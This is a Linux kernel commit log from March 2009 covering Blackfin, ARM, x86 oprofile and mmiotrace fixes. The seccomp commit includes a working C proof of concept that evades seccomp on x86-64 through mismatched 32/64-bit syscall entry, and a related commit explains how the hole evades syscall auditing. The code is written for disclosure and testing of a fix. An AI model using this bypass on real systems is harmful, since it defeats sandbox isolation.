1. 06 3月, 2009 1 次提交
  2. 05 3月, 2009 11 次提交
  3. 04 3月, 2009 2 次提交
  4. 05 3月, 2009 2 次提交
  5. 04 3月, 2009 2 次提交
  6. 03 3月, 2009 2 次提交
    • T
      Blackfin arch: fix bug - Error if one serial has hardware flow control and the other doesn't · 97d4b35f
      Tom Parker 提交于
      I have a system where UART0 is configured with hardware flow control, but UART1
      doesn't have it enabled. Attempting to access UART1 in this configuration
      results in the following error in dmesg:
      
      <3>bfin-gpio: GPIO 0 is already reserved as Peripheral by bfin-uart !
      <5>Stack from 0082bc7c:
      <5>        0082bc88 00404dd6 00000003 00000000 0054051e 004079da 0082bcb4
      00000000
      <5>        00000003 00000000 0052686c 0113f2a0 005fa3f0 00000032 20515249
      00003035
      <5>        00427228 00526e50 0113f2e0 005fa3f0 00000032 0113f2e0 0054b748
      0000ffff
      <5>        22222222 22222222 004e1628 00427304 00000000 00000032 00000023
      0054b748
      <5>        00487a94 0054b7e8 0054b748 0000000b 00487fb8 0054b748 0054b748
      00000001
      <5>        0000000a 005fa3f0 009d4fe8 0101e3c0 0054b748 005fa3f0 0050b134
      0054b748
      <5>
      <5>Call Trace:
      <4>[<00485c16>] _uart_startup+0x56/0x178
      <4>[<004865c8>] _uart_open+0x40/0x3e0
      <4>[<0048661c>] _uart_open+0x94/0x3e0
      <4>[<0047f1ce>] _init_dev+0x1fa/0x450
      <4>[<004e1628>] ___mutex_unlock_slowpath+0x30/0xe8
      <4>[<004815da>] _tty_open+0xf6/0x21c
      <4>[<0043dab0>] ___path_lookup_intent_open+0x34/0x7c
      <4>[<004375e4>] _chrdev_open+0x7c/0x134
      <4>[<0043dc2c>] _open_namei+0x60/0x568
      <4>[<00433fa2>] ___dentry_open+0x9e/0x188
      <4>[<00437568>] _chrdev_open+0x0/0x134
      <4>[<0043410c>] _nameidata_to_filp+0x30/0x3c
      <4>[<00434152>] _do_filp_open+0x3a/0x44
      <4>[<00408826>] _task_running_tick+0x102/0x278
      <4>[<0043418e>] _do_sys_open+0x32/0xac
      <4>[<0043ede4>] _sys_ioctl+0x28/0x50
      <4>[<0043edbc>] _sys_ioctl+0x0/0x50
      <4>[<00434224>] _sys_open+0x18/0x20
      <4>[<0043420c>] _sys_open+0x0/0x20
      <4>[<00418174>] _sys_setuid+0x0/0xc8
      
      This is because the #ifdef's in bfin_serial_5xx.h are messed up. More
      specifically, they add/remove the uart_{rts,cts}_pin fields in
      bfin_serial_resources based on whether the particular port has rts/cts enabled,
      as opposed to when either port has it enabled.
      
      This patch fixed this.
      Signed-off-by: NTom Parker <blackfin@tevp.net>
      Signed-off-by: NSonic Zhang <sonic.zhang@analog.com>
      Signed-off-by: NBryan Wu <cooloney@kernel.org>
      97d4b35f
    • M
      Blackfin arch: fix compile failure when missing the anomaly definition · ee554be9
      Mike Frysinger 提交于
      make sure ANOMALY_05000278/ANOMALY_05000380 is defined for all parts
      Signed-off-by: NMike Frysinger <vapier.adi@gmail.com>
      Signed-off-by: NBryan Wu <cooloney@kernel.org>
      ee554be9
  7. 02 3月, 2009 5 次提交
  8. 04 3月, 2009 1 次提交
  9. 03 3月, 2009 6 次提交
    • C
      [ARM] 5417/1: Set the correct cacheid for ARMv6 CPUs with ARMv7 style MMU · b57ee99f
      Catalin Marinas 提交于
      The cacheid_init() function assumes that if cpu_architecture() returns
      7, the caches are VIPT_NONALIASING. The cpu_architecture() function
      returns the version of the supported MMU features (e.g. TEX remapping)
      but it doesn't make any assumptions about the cache type. The patch adds
      the checking of the Cache Type Register for the ARMv7 format.
      Signed-off-by: NCatalin Marinas <catalin.marinas@arm.com>
      Signed-off-by: NRussell King <rmk+kernel@arm.linux.org.uk>
      b57ee99f
    • S
      [ARM] 5416/1: Use unused address in v6_early_abort · 25ef4a67
      Seth Forshee 提交于
      The target of the strex instruction to clear the exlusive monitor
      is currently the top of the stack.  If the store succeeeds this
      corrupts r0 in pt_regs.  Use the next stack location instead of
      the current one to prevent any chance of corrupting an in-use
      address.
      Signed-off-by: NSeth Forshee <seth.forshee@gmail.com>
      Signed-off-by: NRussell King <rmk+kernel@arm.linux.org.uk>
      25ef4a67
    • T
      x86: oprofile: don't set counter width from cpuid on Core2 · 780eef94
      Tim Blechmann 提交于
      Impact: fix stuck NMIs and non-working oprofile on certain CPUs
      
      Resetting the counter width of the performance counters on Intel's
      Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode.
      
      This should fix bug #12395:
      
        http://bugzilla.kernel.org/show_bug.cgi?id=12395Signed-off-by: NTim Blechmann <tim@klingt.org>
      Signed-off-by: NRobert Richter <robert.richter@amd.com>
      LKML-Reference: <20090303100412.GC10085@erda.amd.com>
      Cc: <stable@kernel.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      780eef94
    • Y
      x86: fix init_memory_mapping() to handle small ranges · 0fc59d3a
      Yinghai Lu 提交于
      Impact: fix failed EFI bootup in certain circumstances
      
      Ying Huang found init_memory_mapping() has problem with small ranges
      less than 2M when he tried to direct map the EFI runtime code out of
      max_low_pfn_mapped.
      
      It turns out we never considered that case and didn't check the range...
      Reported-by: NYing Huang <ying.huang@intel.com>
      Signed-off-by: NYinghai Lu <yinghai@kernel.org>
      Cc: Brian Maly <bmaly@redhat.com>
      LKML-Reference: <49ACDDED.1060508@kernel.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      0fc59d3a
    • R
      x86-64: seccomp: fix 32/64 syscall hole · 5b101740
      Roland McGrath 提交于
      On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
      ljmp, and then use the "syscall" instruction to make a 64-bit system
      call.  A 64-bit process make a 32-bit system call with int $0x80.
      
      In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
      the wrong system call number table.  The fix is simple: test TS_COMPAT
      instead of TIF_IA32.  Here is an example exploit:
      
      	/* test case for seccomp circumvention on x86-64
      
      	   There are two failure modes: compile with -m64 or compile with -m32.
      
      	   The -m64 case is the worst one, because it does "chmod 777 ." (could
      	   be any chmod call).  The -m32 case demonstrates it was able to do
      	   stat(), which can glean information but not harm anything directly.
      
      	   A buggy kernel will let the test do something, print, and exit 1; a
      	   fixed kernel will make it exit with SIGKILL before it does anything.
      	*/
      
      	#define _GNU_SOURCE
      	#include <assert.h>
      	#include <inttypes.h>
      	#include <stdio.h>
      	#include <linux/prctl.h>
      	#include <sys/stat.h>
      	#include <unistd.h>
      	#include <asm/unistd.h>
      
      	int
      	main (int argc, char **argv)
      	{
      	  char buf[100];
      	  static const char dot[] = ".";
      	  long ret;
      	  unsigned st[24];
      
      	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
      	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
      
      	#ifdef __x86_64__
      	  assert ((uintptr_t) dot < (1UL << 32));
      	  asm ("int $0x80 # %0 <- %1(%2 %3)"
      	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
      	  ret = snprintf (buf, sizeof buf,
      			  "result %ld (check mode on .!)\n", ret);
      	#elif defined __i386__
      	  asm (".code32\n"
      	       "pushl %%cs\n"
      	       "pushl $2f\n"
      	       "ljmpl $0x33, $1f\n"
      	       ".code64\n"
      	       "1: syscall # %0 <- %1(%2 %3)\n"
      	       "lretl\n"
      	       ".code32\n"
      	       "2:"
      	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
      	  if (ret == 0)
      	    ret = snprintf (buf, sizeof buf,
      			    "stat . -> st_uid=%u\n", st[7]);
      	  else
      	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
      	#else
      	# error "not this one"
      	#endif
      
      	  write (1, buf, ret);
      
      	  syscall (__NR_exit, 1);
      	  return 2;
      	}
      Signed-off-by: NRoland McGrath <roland@redhat.com>
      [ I don't know if anybody actually uses seccomp, but it's enabled in
        at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
      Signed-off-by: NLinus Torvalds <torvalds@linux-foundation.org>
      5b101740
    • R
      x86-64: syscall-audit: fix 32/64 syscall hole · ccbe495c
      Roland McGrath 提交于
      On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
      ljmp, and then use the "syscall" instruction to make a 64-bit system
      call.  A 64-bit process make a 32-bit system call with int $0x80.
      
      In both these cases, audit_syscall_entry() will use the wrong system
      call number table and the wrong system call argument registers.  This
      could be used to circumvent a syscall audit configuration that filters
      based on the syscall numbers or argument details.
      Signed-off-by: NRoland McGrath <roland@redhat.com>
      Signed-off-by: NLinus Torvalds <torvalds@linux-foundation.org>
      ccbe495c
  10. 02 3月, 2009 7 次提交
    • P
      x86 mmiotrace: fix race with release_kmmio_fault_page() · 340430c5
      Pekka Paalanen 提交于
      There was a theoretical possibility to a race between arming a page in
      post_kmmio_handler() and disarming the page in
      release_kmmio_fault_page():
      
      cpu0                             cpu1
      ------------------------------------------------------------------
      mmiotrace shutdown
      enter release_kmmio_fault_page
                                       fault on the page
                                       disarm the page
      disarm the page
                                       handle the MMIO access
                                       re-arm the page
      put the page on release list
      remove_kmmio_fault_pages()
                                       fault on the page
                                       page not known to mmiotrace
                                       fall back to do_page_fault()
                                       *KABOOM*
      
      (This scenario also shows the double disarm case which is allowed.)
      
      Fixed by acquiring kmmio_lock in post_kmmio_handler() and checking
      if the page is being released from mmiotrace.
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Stuart Bennett <stuart@freedesktop.org>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      340430c5
    • S
      x86 mmiotrace: improve handling of secondary faults · 3e39aa15
      Stuart Bennett 提交于
      Upgrade some kmmio.c debug messages to warnings.
      Allow secondary faults on probed pages to fall through, and only log
      secondary faults that are not due to non-present pages.
      
      Patch edited by Pekka Paalanen.
      Signed-off-by: NStuart Bennett <stuart@freedesktop.org>
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      3e39aa15
    • P
      x86 mmiotrace: split set_page_presence() · 0b700a6a
      Pekka Paalanen 提交于
      From 36772dcb6ffbbb68254cbfc379a103acd2fbfefc Mon Sep 17 00:00:00 2001
      From: Pekka Paalanen <pq@iki.fi>
      Date: Sat, 28 Feb 2009 21:34:59 +0200
      
      Split set_page_presence() in kmmio.c into two more functions set_pmd_presence()
      and set_pte_presence(). Purely code reorganization, no functional changes.
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Stuart Bennett <stuart@freedesktop.org>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      0b700a6a
    • P
      x86 mmiotrace: fix save/restore page table state · 5359b585
      Pekka Paalanen 提交于
      From baa99e2b32449ec7bf147c234adfa444caecac8a Mon Sep 17 00:00:00 2001
      From: Pekka Paalanen <pq@iki.fi>
      Date: Sun, 22 Feb 2009 20:02:43 +0200
      
      Blindly setting _PAGE_PRESENT in disarm_kmmio_fault_page() overlooks the
      possibility, that the page was not present when it was armed.
      
      Make arm_kmmio_fault_page() store the previous page presence in struct
      kmmio_fault_page and use it on disarm.
      
      This patch was originally written by Stuart Bennett, but Pekka Paalanen
      rewrote it a little different.
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Stuart Bennett <stuart@freedesktop.org>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      5359b585
    • S
      x86 mmiotrace: WARN_ONCE if dis/arming a page fails · e9d54cae
      Stuart Bennett 提交于
      Print a full warning once, if arming or disarming a page fails.
      
      Also, if initial arming fails, do not handle the page further. This
      avoids the possibility of a page failing to arm and then later claiming
      to have handled any fault on that page.
      
      WARN_ONCE added by Pekka Paalanen.
      Signed-off-by: NStuart Bennett <stuart@freedesktop.org>
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      e9d54cae
    • P
      x86: add far read test to testmmiotrace · 5ff93697
      Pekka Paalanen 提交于
      Apparently pages far into an ioremapped region might not actually be
      mapped during ioremap(). Add an optional read test to try to trigger a
      multiply faulting MMIO access. Also add more messages to the kernel log
      to help debugging.
      
      This patch is based on a patch suggested by
      Stuart Bennett <stuart@freedesktop.org>
      who discovered bugs in mmiotrace related to normal kernel space faults.
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Stuart Bennett <stuart@freedesktop.org>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      5ff93697
    • P
      x86: count errors in testmmiotrace.ko · fab852aa
      Pekka Paalanen 提交于
      Check the read values against the written values in the MMIO read/write
      test. This test shows if the given MMIO test area really works as
      memory, which is a prerequisite for a successful mmiotrace test.
      Signed-off-by: NPekka Paalanen <pq@iki.fi>
      Cc: Stuart Bennett <stuart@freedesktop.org>
      Cc: Steven Rostedt <rostedt@goodmis.org>
      Signed-off-by: NIngo Molnar <mingo@elte.hu>
      fab852aa
  11. 28 2月, 2009 1 次提交